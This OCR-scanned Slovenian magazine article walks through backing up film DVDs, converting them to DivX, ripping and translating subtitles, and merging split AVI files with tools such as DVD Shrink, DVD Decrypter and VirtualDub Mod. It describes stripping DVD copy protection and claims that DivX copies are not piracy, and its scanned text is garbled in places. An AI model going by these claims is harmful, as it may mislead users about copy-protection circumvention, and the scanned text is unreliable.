poln medij DVD-R. Ce torej odvzamemo kak
zvolni tok, s tem naredimo ved prostora za sli-
ko, kar pomeni ve&jo kakovost kon&nega izdel-
ka. V seznamu je torej smotrno pustiti oznaceno
le to, kar res potrebujemo. Ko to dolo&imo, pri-
tisnemo Backup!. Pojavi se okno, kjer dolo¢i-
mo cilj naSega kopiranja. To je lahko kar nov
prazen medij, lahko je priprava za snemanje s
programom Nero, lahko je obitajna slika diska
(ISO) ali slika diska za snemanje z DVD Dec-
rypterjem, lahko pa je mapa na disku. Izberemo
lahko, kar nam najbolj ustreza. Zelo smotrno
je izbrati mapo na disku, saj lahko tako pred
dejanskim snemanjem preverimo, ali je vse
v redu. DVD Shrink bo namret izdelal DVD
na trdem disku, ki ga lahko nato preverimo s
kaksnim programskim DVD-predvajalnikom.
Ce nam je izdelek vieg, ga lahko »zapeemo«
na prazen DVD-medij. [zberemo torej tvorje-
nje DVD-ja v mapo na disku in to mapo tudi
dolo¢imo. Nato je treba le Se potrditi izbor in
zadeva stece.

Cez kaksno uro ali ve&, odvisno od zmoglji-
vosti racunalnika in dolZine filma, bo zadeva
nared. Ce je s filmom vse v redu, ga lahko po-
snamemo na DVD. Kako? NajlaZje kar s progra-
mom Nero. V njem izberemo DVD-Video in
prenesemo mapi Audio_ts in Video_ts, ki jih je

izdelal DVD Shrink, na DVD.

Zdaj smo pa Ze v malce bolj kalnih vodah.
DivX! Mar ni to piratsko? Pravzaprav ne. Ce
delate varnostno kopijo svojega filma, ni med
kopijo v formatu DVD in kopijo v formatu
DivX nobene razlike. Kopija je kopija. Zakaj
pa imajo nekateri toliko povedati proti DivX-
u? »Tefava« DivX-a je v tem, da je datote-
ka, ki je narejena s tem nacinom kodiranja,
bistveno (res bistveno!) manjsa kot tista v
formatu DVD. In ker je datoteka bistveno
manj$a, je tudi primernej$a za pretakanje prek
omre?ij, kot je na primer internet. In ker se
to seveda mnozi¢no dogaja, se formata DivX
in njemu sorodnih dr¥i oznaka, da so piratski,
Ceprav to %e dolgo ne dri ve¢. DivX je le na-
&in stiskanja podatkov, enako kot MPEG, ki
se uporablja pri izdelavi DVD-jev. Kakovost
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Kljub enostavnosti pro-
grama pa je morda nekaj
le treba povedati. Glede
kodekov je stvar taksna,
da program podpira tiste,
ki so nameséeni v rau-
nalniku. Ce na primer ni-
mate kodeka DivX, vam
program ne bo ponudil
moznosti stiskanja v tem
formatu.

Tudi pri DivX-u velja:
ve¢ji ko je pretok poda-
tkov, bolj kakovostna bo
slika in ve&ja bo datoteka.
V programu FairUse ne na-

FairUse - iz DVD-ja v DivX v nekaj korakih.

slike seveda ni taksna kot pri DVD-ju, ponu-
ja tudi manj mo¥nosti, a ¢e vemo, da je mo-
gole film stisniti iz velikosti enega DVD na
velikost enega CD-ja, je marsikdo pripravljen
sprejeti kompromis.

Kako torej iz DVD-ja narediti film v formatu
DivX, XviD ali podobnem? Seveda z ustreznim
programom. Katerim pa? Pri pretvorbi filma iz
DVD v DivX-ovo
drus¢ino velja enako

kot pri presnemava-
nju DVD-jev. Pro- i
. . . —- =
gramov je veliko in za g
enega se je paC treba o
. . -

odlogiti. Mi smo se me =
odlotili za FairUse e @
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od 700 MB, hitrejse :

stavljamo hitrosti pretoka
podatkov, temve¢ doloca-
mo, kako velika naj bo da-
toteka s filmom. Ce hogemo film velikosti enega
CD+ja, lahko nastavimo velikost 770 MB, pri-
porocljivejSe pa je nastaviti velikost 1440, torej
dveh CD-jev, saj bo slika bistveno boljsa.

Ko nastavimo vse potrebno, pritisnemo Na-
prej in kodiranje bo steklo. Seveda bo trajalo
kar precej ¢asa, odvisno od dol%ine filma in se-
veda zmogljivosti vaSega racunalnika.
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kodiranje, in ve&jo
izbiro nastavitev, kar
vsekakor odtehta 11 dolarjev, kolikor stane.

In zakaj je FairUse dober? Predvsem je enosta-
ven, saj je narejen v obliki ¢arovnika, ki nas po-
pelje skozi celoten postopek, hkrati pa je zmog-
ljiv, saj v polni razli¢ici omogoca veliko mo#nosti
in koncen izdelek je prav viecen. Ko program za-
Yenemo, moramo najprej svojemu projektu dati
ime, nato pa dolotiti, kje imamo film. Program
ga prebere, analizira, nato pa pridemo do faze
nastavljanja parametrov. V program so avtotji
natladili res to, kar uporabnik potrebuje. Naj-
prej dolo¢imo velikost filma, ki lahko ostane
nespremenjena, lahko pa jo tudi spremenimo v
katerega od znanih formatov (4 : 3,16 : 9 ...).
Sledi nastavitev odstranjevanja prepletanja in
na koncu $e dolotitev vrste stiskanja (DivX,
XviD, x264 — za vse moramo imeti namescene
kodeke), velikosti datoteke, vrsto zvoka in podo-
bno. Nastavitve niso ni¢ posebnega oziroma nic,
Cesar ne bi razumel povprecen uporabnik.

Subtitle Workshop ponuja tudi moznost prevajanja obstojecih podnapisov.

In rezultat? Na disku se bo pojavila datoteka
tipa AV, ki bo velika priblizno toliko, kot ste
doloili.

No, z njimi je lahko kriZ. Ena mo¥nost je,
da jih najdemo v spletu in prilagodimo svoje-
mu »ripu«, ki smo ga izdelali na opisani na&in.
Uporabimo Subtitle Workshop ali podoben
program in podnapise ¢asovno prilagodimo fil-
mu.

Kaj pa, ¢e v spletu ne najdemo podnapisov v
slovenskem jeziku? Kaj pa, &e jih ne najdemo
v nobenem jeziku? V obeh primerih resitev ob-
staja, le da zahteva precej dela.

Najprej si oglejmo primer, ko najdemo recimo
stbohrvagke podnapise. Za prevod lahko upora-
bimo Subtitle Workshop, ki vsebuje tudi pre-
vajalni nadin. A ne veselite se preved — modul
ne zna sam nicesar prevesti. Ponuja le priroten
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nadin, kako to narediti ro¢no. V njem odpremo
podnapise v tujem jeziku, vklju¢imo prevajal-
ni na¢in (Edit / Translation / Translator mode)
in prevajamo vsak podnapis posebej, pri ¢emer
nam ni treba skrbeti, ali bodo podnapisi aso-
vno dobro usklajeni. Ce je usklajen »original«,
bo tudi prevod.

Kaj pa, ¢e podnapisov v spletu ne najdemo?
Potem jih moramo pa¢ nekako potegniti z
DVD-ja. Ce so na njem tudi slovenski, je za-
deva opravljena v nekaj minutah, &e ne, pa jih
je potrebno prevesti.

Vzemimo najbolj zapleten primer, ko na
DVD-ju nimamo slovenskih podnapisov, le na
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Program DVD Subripper omogoca pretvorbo
podnapisov iz DVD-ja v podnapise hesedilnega
formata.

Zdaj je na wvrsti
DVD Subripper, s ka-
terim bomo iz filma
»izlugéili« podnapise.
Program  pravzaprav
ni ni¢ drugega kot
majhen sistem opti¢-
nega prepoznavanja
besedila (OCR).

Delo s programom je

A e
precej enostavno. V
osnovnem oknu prek
gumba Add VOB iz-
-
beremo prvo datote-
ko s filmom (obi¢ajno
& a2 R

VTS_01_1.VOB),

Z DVD Decrypterjem spravimo film na trdi disk.

primer angleske in $panske. Tak primer je po-
gost, ko kupimo DVD v Ameriki in je regije 1.

Podnapisi na DVD-ju niso shranjeni v bese-
dilni, ampak slikovni obliki. Vsak podnapis je
torej slika. To pa pomeni, da je za prevajanje
treba podnapise najprej pretvoriti iz slikovne
v besedilno obliko in jih potem prevesti. Kako
to narediti? Vsekakor s pomocjo ustreznega pro-
grama. Tudi tu je zadeva taksna, da vsak prise-
ga na kaj drugega. Mi smo si izbrali brezplacen
program DVD Subripper, ki ga najdete tudi na
MikroCD-ju. Da pa bi program lahko uporabi-
li, je treba najprej DVD spraviti na trdi disk.
Ena od mo#nosti je uporaba brezplatnega pro-
grama DVD Decrypter, ki ga tudi najdete na
MikroCD-ju.

Ideja postopka je v tem, da najprej spravimo
DVD na trdi disk, nato z DVD Subripperjem pod-
napise spremenimo iz grafi¢ne v besedilno obliko,
jih shranimo v formatu SRT, SUB ali podobnem,
tega pa nato odpremo v Subtitle Workshop in pre-
vedemo. Kako poteka prevajanje smo %e opisali,
zato se bomo posvetili prvemu delu.

Najprej moramo torej spraviti DVD na disk.
Zadevo bi seveda lahko izvedli tudi z DVD
Shrinkom, vendar to predolgo traja, saj program
dejansko ponovno kodira film. V te namene je
boljsi DVD Decrypter, saj ta film le prekopira
na disk in odstrani zas&ito. Program torej zaZe-
nemo, izberemo pogon, v katerem imamo film
na DVD-ju, v okvirju Destination pa izberemo
mapo, v katero bomo shranili datoteke. Nato
pritisnemo sli¢ico, ki oznacuje pretvorbo in po-
¢akamo, da program opravi delo.
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nato pa prek gumba

Load IFO %e datoteko
IFO (obi¢ajno VTS_01_0.IFO). Nato se presta-
vimo na razdelek Processing in pritisnemo gumb
Start. V okencu LBA bodo zagele te&i Stevilke,
ki se bodo ustavile pri prvem podnapisu, kjer se
bo program ustavil in nam ponudil tri mo#nosti
barv. Izbiramo med 1, 2 in 3, dokler ne vidimo
belih ¢rk na &mem ozadju (ne le belega orisa
&rka). Takrat pritisnemo gumb I See WHITE
test on Black. S tem programu povemo, da je
kontrast med ¢rkami in ozadjem najvedji in da
lahko ste¢e postopek prepoznavanja besedila.
Ta poteka prek uéenja, tako da moramo na za-
Cetku (a le prvi¢) biti malce potrpezljivi, saj nas
bo program za vsako ¢rko vprasal, katera je. A
le enkrat, saj bo vsako naslednjo prepoznal sam.
Na zaetku gre zadeva nekoliko po&asneje, po-
zneje pa hitro. Pri tem povejmo, da Ce gre za
film v angleskem jeziku, so v njem tudi podna-
pisi v angle3¢ini, namenjeni ljudem s te¥avami s
sluhom, zato bo v podnapisih v&asih tudi kaks-
na oznaka glasbene note, s &imer je nakazano,
da nekdo poje ali se slisi glasba. Ko pri u¢enju
program naleti na noto, lahko pritisnete Ignore
in program je ne bo pretvarjal v besedilo.

Ko bo postopek pretvorbe koncan, se pre-
maknemo v razdelek Output in poleg seznama
Save As izberemo format zapisa, ki ga ?elimo
(na primer Subrip.out, &e Zelimo zapis v forma-
tu srt) in pritisnemo gumb Save As. Datoteki
damo ime in izberemo mesto, kamor jo bo pro-
gram shranil.

Z opisanimi postopki smo iz DVD-ja dobili
dokaj dober film v formatu AVI in podnapise
v formatu DVD, ki jih s Subtitle Workshopom

lahko prevedemo v sloveni¢ino. V podnapisih
bo nekaj vrstic, ki bodo v oglatih oklepajih. Teh
naceloma ni treba prevajati, saj so oznake za lju-
di s tefavami s sluhom. V njih obi¢ajno pige, da
nekdo poje, da Skripajo gume in podobno.

Vzemimo, da imamo originalen DVD, ki se
je poskodoval in postal neuporaben. Ce imamo
varnostno kopijo v formatu AVI in podnapise
v katerem od znanih formatov, lahko DVD po-
novno usposobimo. Kakovost sicer ne bo taks-
na, kot je v originaluy, a film bo Cisto gledljiv.
Kako torej iz datoteke AVI (DivX, XviD in
drus¢in) in podnapisov SRT, SUB in podobnih,
izdelati DVD?

Brez ustreznega programa tudi tu ne bo 3lo.
Programov, ki to znajo ali se vsaj hvalijo, da jim
gre to dobro od rok, je veliko, a le nekaj je taks-
nih, ki to res znajo. Eden od njih je The Film-
Machine, ki smo ga v nasi reviji ¥e opisovali, od
zadnjega opisa pa je iz8la %e razli¢ica 1.5, ki po-
nuja nekaj novosti. Program je dokaj enostaven
za uporabo, rezultati, ki jih dosega, pa so &isto
uporabni. Njegova filozofija je dokaj enostav-
na, saj temelji na ¥e uveljavljenih programih, ki
jih najdemo v spletu. Razlika je v tem, da so
ti programi obi¢ajno namenjeni le posameznim
opravilom in ne izdelavi novega DVD-ja. In da
uporabnikom ne bi bilo treba iskati petih ali Se-
stih programov in jih spoznavati, so to naredili
snovalci programa The FilmMachine, ki so vse
skupaj spravili v enotno orodje. Njegovo delo-
vanje temelji v ve&ini primerov na brezplaénih
programih, razen za kodiranje v MPEG. Pro-
gram nam namre¢ omogola izbiro kodirnika,
ki ga Yelimo uporabiti oziroma ki ga imamo
names¢enega v racunalniku. Izbiramo lahko
med Cinemacraft Encoderjem in Canopus Pro-
coderjem, ki sta komercialna, ter kodirnikoma
QuEnc in HCEncoder, ki sta brezplatna. Ko-
mercialni dajejo seveda bolj$e rezultate in so
praviloma hitrej$i (posebej Cinemacratfov),
a tudi z brezpla¢nima je mogoce doseci dovolj
dobre rezultate. Pred uporabo programa je to-
rej najprej treba namestiti enega od nastetih
kodirnikov MPEG 2 in $ele nato zagnati The
FilmMachine.

Program je narejen na nalelu ¢arovnika. Naj-
prej nas vpra$a za film, ki ga ho¢emo kodirati.
Poid¢emo ga na disku in izberemo. Program je
celo tako »pametenc, da zna film, ki ga imamo
v dveh ali ve¢ datotekah AVI, zdruZiti v ene-
ga. Naslednja koraka sta izbira mape, v katero
bo shranjen konéni rezultat, in izbira, ali bomo
izdelovali DVD ali SVCD. Nato sledi izbira
kodirnika. Ce pritisnemo gumb Options, lah-
ko nastavimo nekatere parametre kodirnikov,
ki pa so dokaj osnovni, tako da vam ni treba
poznavati problematike, ki spremlja izdelavo
DVD-ja. V razdelku Encoders, lahko dolo¢imo
nekatere nastavitve, ki so lastne posameznim
kodirnikom. V podrobnosti se ne bomo spusca-
li, saj zahtevajo preve& prostora, nasteli bomo le
tiste, ki izkustveno dajejo najboljse rezultate.

Pri Cinemacratf Encoderju lahko dolo¢imo
stevilo kodiranj oziroma kolikokrat naj gre pro-



gram »skozi« film. Najbolj-
$i rezultat boste dosegli pri
Stiripasovnem  kodiranju,
lahko pa preizkusite tudi
nadin RoBa OPV, ki vse
skupaj opravi v enem pasu
in daje dokaj dobre rezul-
tate in je tudi najhitrejsi.
Ce z rezultatom niste zado-
voljni, mo¥nost izkljudite
in dolotite Stiripasovno
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kodiranje. Pri Canopus
Procoderju lahko nastavi-
te kakovost kodiranja s $tevilom ponavljanj in
stopnjo kakovosti. Cisto dovolj je, & nastavite
Highest-Quality in dvopasovno kodiranje, ¢e
pa imate Cas, pa lahko zadevo povecate na Ma-
stering Quality. Pri kodirniku Quenc vkljugite
mo#nost High Quality, Trellis Quant in dvopa-
sovno kodiranje, pri HCEncu pa kakovost na
Best in matrico MPEG.

V razdelku Paths moramo poiskati pot do Ci-
nemacraft Encoderja in Canopus Procoderja,
saj gre za samostojni komponenti in ne le ko-
deke, zato program potrebuje informacijo o poti
do programov.

V razdelku Other pravzaprav ni veliko nasta-
vitev, dolocite le, da boste delali v sistemu PAL,
ki ga uporabljamo v Evropi, dobro pa je tudi
vkljuiti mo¥nost brisanja za¢asnih datotek, po-
sebej e, e imate na disku, kamor boste shranili
konéni izdelek, manj kot 20 GB prostora.

Pred izdelavo DVD-ja lahko preverimo, kako bo ta videti.

Tako. Zdaj se vrnemo v osnovno okno in iz-
beremo kodirnik, ki ga bomo uporabljali. Na-
slednje, kar moramo nastaviti, je slikovno raz-
merje (Aspect ratio). Ce bomo film gledali na
obi¢ajnem TV sprejemniku, dolo¢imo razmerje
4 : 3, &e pa imate §iro-
kozaslonski televizor,
pa 16 : 9. Nato je tre-
ba v okencu Arrange
method dologiti sli-
kovno razmerje. Po-

v praksi: delo s filmi

lahko uporabite to metodo. Druga moznost je
Add borders, keep aspect ratio. Ta bo film obdr¥a-
la v obstoje¢em razmerju, na dnu in na vrhu pa
bo & trak, tako da bo vse skupaj, torej film in
trakovi, dalo razmerje 4 : 3. Ta mo¥nost je naj-
uporabnejia in je priporo&ljiva vedno, ko ori-
ginalni film ni v razmerju 4 : 3. Tretja mo#nost
je 'Crop video, keep aspect ratio'. Ta je uporabna
v primeru, ko je film res $irok in bi bili trakovi
nad in pod njim tako veliki,d a bi se film tezko
videl. V tem primeru lahko sliko na robovih ne-
koliko obrefemo, s ¢imer izgubimo nekaj slike,
a je zato ta bolje vidna.

Po kliku na Next se odpre okno, kjer nastav-
ljamo medij, na katerega bomo zapisovali in
nekatere druge parametre. Ker bomo izdelovali
DVD, ki bo zapisan na medij velikost 4,7 GB,

ta medij izberemo iz seznama in program bo sam

nujene so tri mozno- PR Tre——r—

sti. Fullscreen bo film
raztegnil tako, da bo
viden &ez ves zaslon.
Ce je originalni AVI
narejen tako, da je
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razmetrje njegovih

stranic 4 : 3, potem  skozi proces.

S programom The FilmMachine izdelamo DVD s pomocjo ¢arovnika, ki nas vodi
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v praksi: delo s filmi

prera¢unal povpre¢no bitno hitrost, s katero bo
kodiral film, da bo ta prave velikosti. V razdelku
obstaja tudi moZnost neposrednega zapisovanja
na DVD, ki pa ni najpriporocljivejsa, saj je bo-
lje film prej pregledati, preden ga zapetemo na
DVD, zato ozna¢imo moznosti Don't burn DVD.

Naslednji korak je dolo¢anje podnapisov. Iz-
beremo Use subtitles in izberemo Selectable sub-
titles, kar omogo¢a vklju¢evanje in izklju¢evanje

%e za slabih 15 tiso¢akov. Taksen predvajalnik
zna predvajati vse mogoce formate zvo¢nih in
filmskih datotek, pa tudi s podnapisi ni nekih
vedjih tezav. Zato se vse ve€ ljudi odlo¢a svoje
filme pustiti kar v formatu Divx, XviD ali po-
dobnem in jih ne pretvarja v DVD, VideoCD
in Super VideoCD pa sta tako ali tako Ze skoraj
pozabljena.

Filme DivX pa velikokrat dobimo v dveh
delih oziroma razde-
ljene na dve datoteki
velikosti enega CD-
ja. Zakaj? Pri DivX-u
velja podobno kot pri

ID-Fo o]

vseh drugih vrstah
stiskanja zvo&nih in
filmskih podatkov: z
ved biti bomo opisali
datoteko, bolj ka-
kovostna bo. In pri
stisnjenih  podatkih,
o katerih govorimo,

se pojem »vel bitov«
nanasa na pasovno §i-

Izdelava filmskega DVD-ja s programom Nero

podnapisov na DVD-ju. Nato kliknemo v oken-
cu Subtitle filename in izberemo datoteko s pod-
napisi, v okencu Language pa jezik podnapisov.
Tudi tu lahko izberemo ve& datotek, &e je seveda
tudi film v ve& datotekah. Nato pritisnemo gumb
s &rko A in izberemo pisavo. Ce gre za slovenske
podnapise, pazimo, da izberemo kodno tabelo
ISO-8859-2, pisava pa naj bo recimo Arial ve-
likost 28 pik (¢e vam ni veg, jo lahko seveda
spremenite, pazite le, da izberete takino, ki ima
Sumnike). Po pritisku na Next se prikaZe zakljug-
no okno, kjer s Preview Result preverimo, ali je
vse tako, kot je treba in pritisnemo gumb Make
DVD. Ker kodiranje in izdelava DVD-ja trajata
precej Casa, je najbolje, e pustite, da se ratunal-
nik z njim mud&i &ez not, ko vi sladko spite.

Na opisani nacin seveda ne bomo izdelali
DVD-ja z vsemi dodatki, kot so bili na original-
nem, a film sam, ki je verjetno najvedji razlog,
da ste DVD sploh kupili, bo ostal kljub izgublje-
nemu originalu.

Tako, zdaj je treba nas film le Se »zape&i« na
DVD. V ta namen je najenostavneje uporabiti
na primer program Nero, ki v novejsih razlici-
cah omogota tudi izdelavo DVD-jev, med dru-
gim tudi filmskih DVD-jev.

ZaZenemo torej Nero Burning ROM in v ¢a-
rovniku izberemo izdelavo DVD-ja, v seznamu
vrst DVD-jev pa DVD-Video. V tem oknu nam
pravzaprav ni treba narediti ni¢, le v razdelku
Label lahko damo nagemu DVD-ju ime. Nato
pritisnemo gumb New. Pojavil se bo DVD, kjer
bosta dva mapi — Audio_ts in Video_ts. Na
disku pois¢emo mapo Video_ts, ki jo je izdelal
The FilmMachine, in njeno vsebino prenesemo
v mapo Video_ts novega DVD-ja. Nato spro-
¥imo peko in zadeva je nared.

ZDRUZEVANJE FILMOV IN PODNAPISOV

DivX-predvajalniki so zadnje &ase izredno po-
ceni. Povsem solidno napravo je mogo&e dobiti
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V internetu je mogo&e najti kup programov, ki
omogo&ajo tako zdruZevanje kot deljenje filmov
v vel datotek. Najti je torej treba tistega, ki zna
to narediti najbolje in najhitreje. Izbira je velika,
mi pa smo se odlo¢ili, da ne bomo ni¢ kaj zaple-
tali stvari in za zdru¥evanje filmskih datotek upo-
rabili kar program VirtualDub Mod, ki smo ga v
tej rubriki %e velikokrat opisovali, za zdruZevanje
datotek s podnapisi in prilagajanje podnapisov
pa Subtitle Workshop. Pa na delo!

Vzemimo, da imamo dve datoteki s filmom in
dve datoteki s podnapisi, vse skupaj pa bi radi
zdruZili tako, da bi imeli le eno datoteko s filmom
in eno s podnapisi. Najprej bomo zdruZili filmski
datoteki. V VirtualDub Modu odpremo prvo da-
toteko. Nato iz menija File izberemo Append Seg-
ment in odpremo $e drugo.
Ker bomo datoteki le zdru-

Fagl g s Yevali in ponovno kodira-
G F Tha plagin g g sk, IF o el 5. - . -
Fin Tpgn i s el i ke P el s i b e R nje ni potrebno, vV meniju
Tiles I —— Video izberemo Direct Stre-
Vides: syemlial cufpel w3 1 B foul_sen o] .
Sertar P am Copy, nato pa projekt
[ shranimo z novim imenom.
s T il ) . v
. In film je zdruZen.
i Dot e A vedno ne gre tako
i T2 A A0 . S =) lahko. Ce je zvok v filmu
e Mt i gl st ol el B B[] s Brad e ek formata AC3, tefav obicaj-
i 0 T e g T b no ni, ¢e pa je v MP3, nam
WenfLleny Lo ) o) lahko VirtualDub Mod spo-
rodi, da z zvokom nekaj ni
[ ] Ciee | [ o [ | Bl e v redu. Ce je namred zvok
kodiran s spremenljivo pa-

S predvajalnikom WinAmp je mogoce stisnjen zvok pretvoriti v format WAV.

rino. Vedja je pasovna Sirina, bolj kakovostna
je slika. DivX in dru¥ina podatke res precej stis-
nejo, a tako dobro spet ne, da bi lahko en celo-
vecerec stisnili na velikost enega samega CD-ja
v res dobri kakovosti. Zato je veliko filmov v
dveh datotekah. Sodobni predvajalniki omo-
gotajo predvajanje filmov DivX tudi z DVD-
medijev. To pomeni, da je mogo&e na en prazen
DVD spraviti veé filmov. V tem primeru pa je
deljenje filma v dve ali celo ve& datotek povsem
nesmiselno. In kako datoteke zdruZiti?

Pri zdruZevanju dveh ali ve¢ datotek v eno je
treba biti pozoren na vse tri elemente filma — sli-
ko, zvok in podnapise. Postopek zdrufevanja in
prilagajanja poteka tako, da najprej zdru¥imo da-
toteke s filmom, nato datoteke s podnapisi, nato
pa podnapise e prilagodimo tej novi datoteki.

sovno §irino (VBR), nam
program sporoci, da se lah-
ko zgodi, da bo v kon¢nem izdelku zvok nekoliko
zamaknjen. Spremenljiva bitna Sirina je, kar za-
deva obdelavo filma, dokaj neuporabna za prera-
Cunavanje. V razloge za to se ne bomo spustali,
povejmo le, da je v tak§nem primeru treba zvok
prekodirati v format s konstantno pasovno $iri-
no (CBR). In kako to narediti? Nageloma bi bilo
mogo&e vse skupaj narediti v VirtualDub Modu,
kjer bi doloili le druge parametre kodiranja zvo-
ka, a se v praksi zadeva ne obnese. Veliko bolje
je zvok shraniti v posebno datoteko, ga spreme-
niti v obliko wav, nato pa z VirtualDubom ali
VirtualDub Modom vkljuéiti v film in tam do-
loiti stiskanje s konstantno pasovno Sirino. In
to bomo tudi naredili.

V VirtualDub Modu odpremo prvo datoteko
in izberemo Stream [ Stream list. Odpre se po-
govorno okno, v katerem
bodo zapisani vsi zvo¢ni to-
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kot pri DVD-ju, a boste na
tak primer redko naleteli.
Izberemo torek nas zvok in

VirtualDub nas opozori na tezave, ki hi se lahko pojavljale pri predvajanju zvoka.

pritisnemo gumb Demux.



V PRAKSI

Program nas bo vpragal, kam naj shrani dato-
teko. Dolo¢imo kar mapo, kjer imamo film, in
spro¥imo pretvorbo. Postopek nato ponovimo
Se z drugo datoteko. Na disku tako dobimo dve
datoteki tipa MP3 (&e je bil zvok zapisan v for-
matu MP3). Te je zdaj treba nekako pretvoriti v
format WAV, torej naravni (native) nestisnjeni
zvolni format sistemov Windows. To najlaZe
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Zdruzevanje podnapisov v programu Subtitile
WorkShop

naredimo kar s predvajalnikom WinAmp. Za-
Yenemo ga, v njegovem oknu kliknemo z desno
tipko in izberemo Options | Preferences ali pa pri-
tisnemo kar Ctrl+P. V razdelku Plugins izberemo
Output in v seznamu izberemo dodatek Nullsoft
Disk Whriter. Dodatek je prav zabavna zadeva, saj
nam datoteke, ki jo zafenemo, ne predvaja prek
zvocnikov, temved »na disk«. Posledica tega je,
da se na disku pojavi nova datoteka, ki pa ni ve
formata MP3, ampak kar WAV. To pa je to€no
to, kar ho¢emo. Izberemo torej dodatek in pri-
tisnemo gumb Configure. Nastavljati ni treba
ni¢ drugega kot pot oziroma mapo, v katero naj
program shrani datoteko WAV. Ko izberemo
mapo, odpremo najprej prvo datoteko zvoka, ki
smo jo dobili, nato pa $e drugo. Ko je pretvorba
kon&ana (traja slabo minuto), v WinAmpu ne
smemo pozabiti nastaviti izhoda nazaj na wave-
Out ali DirectSound. Ce bomo namret stvar pu-
stili tak$no, kot je, se bodo vse datoteke, ki jih
bomo zagnali z WinAmp, pretvarjale v format
WAV in iz zvo¢nikov ne bomo nic¢ sliali.

Tako, zdaj imamo na disku datoteki WAV,
datoteki AVI in datoteki s podnapisi (SRT,
SUB, TXT...). Datoteki MP3 lahko zbrisemo,
saj nam nista ve¢ potrebni. Zdaj spet odpremo
prvo datoteko s filmom. Program nas bo spet
opozoril, da nekaj ni v redu z zvokom. Pogovor-
nega okna ne zapirajte takoj, temvec si najprej
prepisite vrednosti, ki jih boste nasli v njem.
Program namre¢ izracuna, s kak§no pasovno §i-
rino je treba kodirati zvok, da do zamikov ne
bi prislo. Stevilko si zapiSemo, bo pa v formatu
XXX + xxx. Zdaj sestejemo obe vrednosti, torej
XXX + xxx in dobili bomo pasovno $irino, s ka-
tero naj bi se film ponovno kodiral.

Nato izberemo Stream / Stream List. Spet se
prika%e okno, v katerem so zapisani podatki o
zvocnem toku v filmu. A tega zvoka zdaj vel
nocemo, zato ga izberemo in pritisnemo gumb
Disable. Z gumbom Add dodamo nov zvok, to-

rej prvo datoteko tipa WAV. Ker pa je ta da-
toteka ogromna, jo moramo seveda stisniti. Na
njej kliknemo z desno tipko in najprej izberemo
Full Processing mode, s &imer vklju¢imo mo#no-
sti obdelave zvoka. Nato e enkrat kliknemo z
desno tipko in izberemo Compression, saj mora-
mo izbrati na¢in stiskanja zvoka. Pokazal se bo
seznam kodekov, ki jih imamo v racunalniku.
Izberemo taksnega, ki ga podpira tudi DivX-
predvajalnik v dnevni sobi, in izberemo tudi
pasovno $irino. Ta naj bo ¢im bli%e tisti, ki smo
jo dobili pri seftevanju. In zakaj le sestevanju,
e pa je bil v opozorili znak »plus minus«? Zato,
ker tudi pri zvoku velja: ve¢ja ko je pasovna Si-
rina, ve¢ja bo kakovost zvoka. Uporabljen ko-
dirnik in pasovno $irino si nekam zapi$emo, saj
bomo oboje potrebovali Se enkrat.

Tako, izbrali smo zvok, kodirnik in njegovo
pasovno §irino. Izbor potrdimo z OK in zapre-
mo pogovorno okno zvoka. V meniju Video iz-
beremo Direct stream Copy, saj s sliko ne bomo
nicesar poceli, in datoteko shranimo z novim
imenom. Postopek bo trajal okoli
dvajset minut, odvisno seveda od
zmogljivosti racunalnika in dol%i-
ne filma.

Zdaj ta postopek ponovimo Se
z drugo datoteko, uporabimo pa
povsem enake nastavitve kot pri
prvi. Ce bomo karkoli spreminja-
li, bo zdruZevanje neuspesno. Ko
je kon¢ana tudi pretvorba druge
datoteke, lahko spet sprozimo
postopek zdruZevanja — odpremo
prvo datoteko, izberemo File / Ap-
pend Segment in izberemo drugo.
Oznacimo Video | Direct stream
copy in datoteko shranimo z no-
vim imenom.

Tako, film je nared, zdaj je treba
urediti Se podnapise. Uporabili
bomo program Subtitle Works-

v praksi: delo s filmi

po zdruZeni datoteki in iskati, kje je prva vrstica
druge datoteke, lahko odpremo prvo datoteko in
si izpiSemo &as ali zaporedno $tevilko zadnjega
podnapisa. Nato spet odpremo zdruZeno datote-
ko in to vrstico poi§¢emo. Od prve vrstice dru-
ge datoteke naprej bo treba podnapise ¢asovno
zamakniti. Kako to narediti? Uporabiti bo tre-
ba uho. Najprej dvakrat kliknemo na zadnjem
podnapisu prve datoteke in program se bo sa-
modejno prestavil na mesto v filmu, kjer je ta
podnapis. Nato »vklju¢imo« uSesa in sprofimo
predvajanje filma. Ko zasligimo zaletek besedila,
ki ustreza naslednjemu podnapisu, pritisnemo
pavzo. Zapisemo si &as, ki je zapisan ob podnapi-
su in ¢as v filmu, ko bi se ta podnapis moral pri-
kazati. Zdaj oznacimo ta podnapis in pritisnemo
Shift+End, da ozna¢imo vse podnapise do konca
filma in izberemo Edit / Timings / Set Delay. Po-
javi se okence, kjer lahko vpiSemo, za koliko naj
podnapise Casovno premaknemo naprej ali na-
zaj. Ker imamo oba ¢asa zapisana, lahko ta zamik
izraunamo in tudi vpiSemo v okence. Izberemo
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hop, ki ponuja tudi funkciji zdru-
Yevanja podnapisov. Ce so pod-
napisi v formatu SRT ali drugem
Casovnem formatu, potem v programu ni treba
odpirati tudi filma. Ce pa imamo format SUB ali
kaksnega drugega, ki se ne ve¥e na ¢asovno kodo,
temve¢ sliko, je treba pred odpiranjem datoteke
z Movie [ Open odpreti film, da se iz njega prebe-
rejo podatki, potrebni za uspesno sinhronizacijo
filma in podnapisov. V programu nato izberemo
Tools / Join Subtitles. Z gumbom Add dodamo naj-
prej prvo datoteko s podnapisi, nato Se drugo in
izberemo ustrezen format zapisa zdruZene datote-
ke, na primer SubRip za format SRT. Pritisnemo
gumb Join in zadeva se izvede.

A s tem postopka Se ni konec. Preveriti je
treba, ali se zdruZeni podnapisi res ujemajo z
zvokom v filmu. Zato odpremo to novo dato-
teko podnapisov in na§ »zdruZeni« film in se
sprehodimo po njem. Ce se podnapisi ujemajo,
je zadeva kon&ana, Ce ne, pa je treba stvar pri-
lagoditi. Ce so bili podnapisi v primeru dveh
datotek lepo sinhronizirani, zdrueni pa ne, je
te¥ava skoraj gotovo na »prehodu« iz prve v dru-
go datoteko. Da se nam ne bo treba sprehajati

Prilagajanje podnapisov zahteva pozorno poslusanje

Se, naj se sprememba uveljavi le za izbrane pod-
napise in ne vse ter pritisnemo OK.

Zdaj $e enkrat preverimo, ali je vse v redu, in
datoteko shranimo pod enakim imenom, kot je
ime datoteki s filmom. To je potrebno zato, ker
veliko predvajalnikov ne prepozna ustreznih
podnapisov, &e ti ne nosijo istega imena, kot je
ime filma.

Opisali smo ve& ali manj vse kombinacije, na
katere lahko naletimo pri delu s filmi. Seveda je
izbor programov lahko tudi drugacen, mi smo
